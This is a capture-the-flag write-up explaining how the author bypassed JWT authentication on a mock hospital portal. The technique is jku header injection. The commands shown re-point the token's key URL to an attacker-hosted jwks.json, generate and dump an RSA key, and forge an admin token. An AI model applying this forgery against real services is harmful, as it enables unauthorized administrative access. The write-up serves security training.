Challenge Info

You've been tasked with a pentesting engagement on a hospital management portal, they've provided you with a mockup build of the website and they've asked you to break their JWT implementation and find a way to login as "admin".

Solution

When we visit the website we are able to create a new account:

Logging in with the newly created user:

Here we also see a reminder on what we're supposed to do: Login as admin to see flag here.

Cliking around the website and fuzzing with tools like ffuf didn't give us much, so once again I decided to send a request through Burp to see what's happening.

Right away we see what looks like a JWT (Json Web Token):

Using a website like jwt.io will easily decode the JWT for us:

What's really interesting here is the fact that they are using jku with an URL pointing to localhost.

Going to http://159.65.58.156:32014/.well-known/jwks.json gives us the following:

{
  "keys": [
    {
      "alg": "RS256",
      "e": "65537",
      "kid": "efe1bca5-ec73-4675-a09c-ae40aa25012d",
      "kty": "RSA",
      "n": "21626483888924415051959075467215913922055831043151007356734229763199940759705629001527848156215791692359812375846235003197141696899466332901631771730329386716384242136968302086807046588272169389610510566594149581526060945257715757967801992606300293195610251102369414133756023915881580201237985361285328762901565795819103355159011364427449978886073388706881162242978371258669078375778244081126645550521486623616549199266001583096568453649861816818067815024716724659532397479879265014091157649131508825578597113417731620220970409844577324161585082872095698932135414217339609068899245402977781384347753133470322840786369",
      "use": "sig"
    }
  ]
}


This file contains everything the server needs in order to sign the real tokens.
So, if we change the jku url to a server we control, do we see a request coming in?

I change the JWT header to the following:

{"typ":"JWT","alg":"RS256","jku":"http://MY-IP-ADDRESS/.well-known/jwks.json","kid":"751dca95-94c1-46c1-8a63-62a6a9ae033d"}

Then I base64 encode the data:

┌─[s1gh@fsociety]─[~/Documents/HackTheBox/HTB-Business-CTF-2021/Web/Emergency]
└──╼ $ echo -n '{"typ":"JWT","alg":"RS256","jku":"http://MY-IP-ADDRESS/.well-known/jwks.json","kid":"751dca95-94c1-46c1-8a63-62a6a9ae033d"}' | base64 -w0 ; echo
eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsImprdSI6Imh0dHA6Ly9NWS1JUC1BRERSRVNTLy53ZWxsLWtub3duL2p3a3MuanNvbiIsImtpZCI6Ijc1MWRjYTk1LTk0YzEtNDZjMS04YTYzLTYyYTZhOWFlMDMzZCJ9

When we now send a request to the website with the modified header, we get a response on our listener.

s1gh@Database:/dev/shm$ sudo python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 ...
159.65.58.156 - - [25/Jul/2021 21:38:04] code 404, message File not found
159.65.58.156 - - [25/Jul/2021 21:38:04] "GET /.well-known/jwks.json HTTP/1.1" 404 -

This means that we can serve our own jwks.json and potentially make the website use our key to sign the tokens.
This way we can forge a valid JWT and get access to the website as the admin user!

Creating the public/private key

┌─[s1gh@fsociety]─[~/Documents/HackTheBox/HTB-Business-CTF-2021/Web/Emergency/files]
└──╼ $ ssh-keygen -t rsa -b 4096 -m PEM -f jwtRS256.key
Generating public/private rsa key pair.
Enter passphrase (empty for no passphrase): 
Enter same passphrase again: 
Your identification has been saved in jwtRS256.key
Your public key has been saved in jwtRS256.key.pub
The key fingerprint is:
SHA256:zpphKgHmXdNNx4zudUol3K8It4OzoT1GQqnoaeJ68vc s1gh@fsociety
The key's randomart image is:
+---[RSA 4096]----+
|          = .    |
|         o * o   |
|      . = . o .  |
|..   o + + + . . |
|o.. o + S * = .  |
| ..o . + * = .   |
|  ... o B + .    |
|..o+.o = =       |
|+=+o..E . .      |
+----[SHA256]-----+

┌─[s1gh@fsociety]─[~/Documents/HackTheBox/HTB-Business-CTF-2021/Web/Emergency/files]
└──╼ $ openssl rsa -in jwtRS256.key -pubout -outform PEM -out jwtRS256.key.pub
writing RSA key

┌─[s1gh@fsociety]─[~/Documents/HackTheBox/HTB-Business-CTF-2021/Web/Emergency/files]
└──╼ $ ls jwt*
jwtRS256.key  jwtRS256.key.pub

We now have the new private/public key pair we will use in order to sign our own JWT.

Creating our own jwks.json

Now we need to create our own jwks.json file, which will have all the details needed to sign/verify tokens.
We use RsaCtfTool to dump the e and n values. We will use these values when we create the jwks.json file.

┌─[s1gh@fsociety]─[~/Documents/HackTheBox/HTB-Business-CTF-2021/Web/Emergency/files]
└──╼ $ ../RsaCtfTool/RsaCtfTool.py --key jwtRS256.key --dump
private argument is not set, the private key will not be displayed, even if recovered.
n: 827377738073473803660835491922666175586929940650371123227595043259957830566338892213800869724818443697444111099604277695554941877971259012763290494404323680323144381018835194578986221831553727264051466054704965527657814239851399372061645887084476571107217569673539070480690829102476713704561905281982805691071790850256751602186780151829419910241315903079659749840779257744889260147247175135767181725635575356884011338375911315348595011232636237979589873776993660099208624338487122673696337101433351308954427073432370533345168682902109011057363907272651802176599277348821592772288674825057558039456947936627276254432787416769196721673722137693671015427846669745932879288167085003130964369825706283653087793919561095685887607029912818361714498311472215284939178620236594171259849663646760331910056820049479064223593531033197075788510995931090333789498063507704287527046731096069814074052719212556920432571925960679365934090483318825806275042092305460203509050760027276011155981667400422698428687587964341340576030836763527590813117277892073688511532219330090374796759035940425198435204159691456396065586014969771021724767128390547663479610861758871697585398422955379627150720688769783347395801777503438191453251692105946921451791432197
e: 65537
d: 581602224931059777848406705790397913287368592334436231075149549841204164004465667110145296051889175316196236541917839833323475553904785563254223259940381580310464905155205739949331160314903774376727451510966371010172388791304364216725025014451298520749170792335478759143307533239574587235538129826444083119184374211216233418696961637161138682651131152463140592572361561027347961086463068363362044263825096069644468290395347031246386370637598896005031141111621235746379024286277419693524521322702184437069464590169764836667509590805457375687042401149637546339834782003797274172247233784207037876615379625135144876412735295324817447441420203518936587272837246697285371621588697554178486624690185618897488770266921035952816040880414523108156841202775489113267395123547526575076863235493385724686050176726421831264273807522205106338397227920418227607479787571135380471591497092608614524532412837527186426414090997238503056225140012922310836102500258786091683291914198630613820407427632718196233539855550813983274921952243902406922337872017183282952202743198852436903918649391906220827431577294151130969542152381026158744200961039854173269365203420045447458882145849272792698580994257469705720497689926606372308006814774454263988306872513
p: 29101301905317268959540200028527567597273447699585780100065207691046441347178179444777143037594406280132727498985514785071886998671441337853337774768127037061146871161960484925835739190759540581479977341611372115432696929130606744292099326212594100706029986767978619875733991783380686765002868157732646971613473800395143431408646196828708199064182832881309431533574046180569850812422346388205002818981622570862415722373680702934194977371581284902105162416917255169098807232128509481185600052758476815824480824883567238844460085515119017917655899605584081704043669304476883238009789345536135662574126797835358339014321
q: 28430952703263725165560917625054877116820448963906285334629867110770824735866120972626752013243601575767146539550746652479401737895800320217333297834825224219923442715323187218442131193662596954607583872775743524181228819831845330573503349923840206893959374983947718513507825279406666558398451526174848780138788851205369261825219530276825034938787948425426049545909003611423761095296413411163522754281316076355892527356502325592564158517948362347450406437238260955497714326813990681496422197498091249894298704848299206874037251738603571002458594036410060119064934818836567736289263941755103782813959669412147812887957

We can now substitute the n value with the value extracted by the tool above, and create the following jwks.json file:

{
  "keys": [
    {
      "alg": "RS256",
      "e": "65537",
      "kid": "efe1bca5-ec73-4675-a09c-ae40aa25012d",
      "kty": "RSA",
      "n": "827377738073473803660835491922666175586929940650371123227595043259957830566338892213800869724818443697444111099604277695554941877971259012763290494404323680323144381018835194578986221831553727264051466054704965527657814239851399372061645887084476571107217569673539070480690829102476713704561905281982805691071790850256751602186780151829419910241315903079659749840779257744889260147247175135767181725635575356884011338375911315348595011232636237979589873776993660099208624338487122673696337101433351308954427073432370533345168682902109011057363907272651802176599277348821592772288674825057558039456947936627276254432787416769196721673722137693671015427846669745932879288167085003130964369825706283653087793919561095685887607029912818361714498311472215284939178620236594171259849663646760331910056820049479064223593531033197075788510995931090333789498063507704287527046731096069814074052719212556920432571925960679365934090483318825806275042092305460203509050760027276011155981667400422698428687587964341340576030836763527590813117277892073688511532219330090374796759035940425198435204159691456396065586014969771021724767128390547663479610861758871697585398422955379627150720688769783347395801777503438191453251692105946921451791432197",
      "use": "sig"
    }
  ]
}

We then host this file in a .well-known directory on a server that's reachable from the docker container.

Creating a forged JWT

Now we can use the contents of the public and private key we created earlier, change the username to admin, and create our own forged JWT:

Now we just need to take the JWT generated above, and add that to the auth cookie and send the request to the website.

We see that the server reaches out to our server and downloads the jwks.json file, which means the server will see the JWT we send as valid.

s1gh@Database:/dev/shm$ sudo python3 -m http.server 80
[sudo] password for s1gh: 
Serving HTTP on 0.0.0.0 port 80 ...
159.65.58.156 - - [25/Jul/2021 22:01:09] "GET /.well-known/jwks.json HTTP/1.1" 200 -

Getting the flag

Looking through the response from the webserver in Burp reveals the flag.

Flag: HTB{your_JWTS_4r3_cl41m3d!!}